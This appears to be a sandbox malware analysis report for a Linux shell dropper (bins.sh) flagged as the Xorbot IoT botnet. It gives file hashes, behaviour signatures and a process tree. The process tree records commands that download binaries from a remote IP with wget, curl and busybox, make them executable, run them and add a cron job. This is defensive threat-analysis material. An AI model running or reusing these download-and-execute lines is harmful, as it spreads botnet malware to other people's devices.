Analysis

  • max time kernel
    138s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-11-2024 19:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9c78593f3247a81ae638fe8b8463b71e

  • SHA1

    0775065718970d81dc47eeeede73fa2063f74554

  • SHA256

    1ada6782b73be9bad01cc49d5c1a17cddeb96112995fe104e69fcfaff3ff28c8

  • SHA512

    25b0a058e86e6b106a46f84ec8fd78eaefd5f6cf6403a471fdb86cd99470f000a751c45c8c91e6b7f29dee46c38563feb95c7d51b40ebd1438e496a567bdc8fc

  • SSDEEP

    96:kIcMJRrMGOU3by18oiffO9L91wAQaUX2QFZPYAjpF9QQdzllv6XJFZPYA8dgpF9i:hMGOU3b89L9761GOU3bmLp

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2044) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:1512
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/chmod
          chmod 777 HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • File and Directory Permissions Modification
          PID:1522
        • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          ./HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Executes dropped EXE
          PID:1523
        • /bin/rm
          rm HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
            PID:1525
          • /usr/bin/wget
            wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/chmod
            chmod 777 sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            ./sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Executes dropped EXE
            PID:1530
          • /bin/rm
            rm sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
              PID:1532
            • /usr/bin/wget
              wget http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /bin/chmod
              chmod 777 3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • File and Directory Permissions Modification
              PID:1536
            • /tmp/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              ./3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Executes dropped EXE
              PID:1537
            • /bin/rm
              rm 3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
                PID:1539
              • /usr/bin/wget
                wget http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Writes file to tmp directory
                PID:1540
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Writes file to tmp directory
                PID:1541
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Writes file to tmp directory
                PID:1542
              • /bin/chmod
                chmod 777 I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • File and Directory Permissions Modification
                PID:1543
              • /tmp/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                ./I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Executes dropped EXE
                PID:1544
              • /bin/rm
                rm I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                  PID:1546
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Writes file to tmp directory
                  PID:1547
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /bin/chmod
                  chmod 777 twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1550
                • /tmp/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  ./twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1551
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1553
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1554
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1555
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1556
                      • /bin/rm
                        rm twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                        2⤵
                          PID:1558
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                          2⤵
                            PID:1561

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /var/spool/cron/crontabs/tmp.ToNL5A

                          Filesize

                          210B

                          MD5

                          6e1d927b0c5403c2e3005da08f6bef2a

                          SHA1

                          5a8c13774e5226fda9f9ba6e6b8366f37cfd2c1f

                          SHA256

                          0003e0ff031dffab22d8e9137628de01691745a03f3a04ce19c55619c8d71b14

                          SHA512

                          01fdfe8bb090099f610dc93b4f5540940037c67beaa78b3b58e4830068e1ae0a4ddaf5b1ca4c215c783801f563d529e16b45edec6ebe18c3c46f412f111f9e4d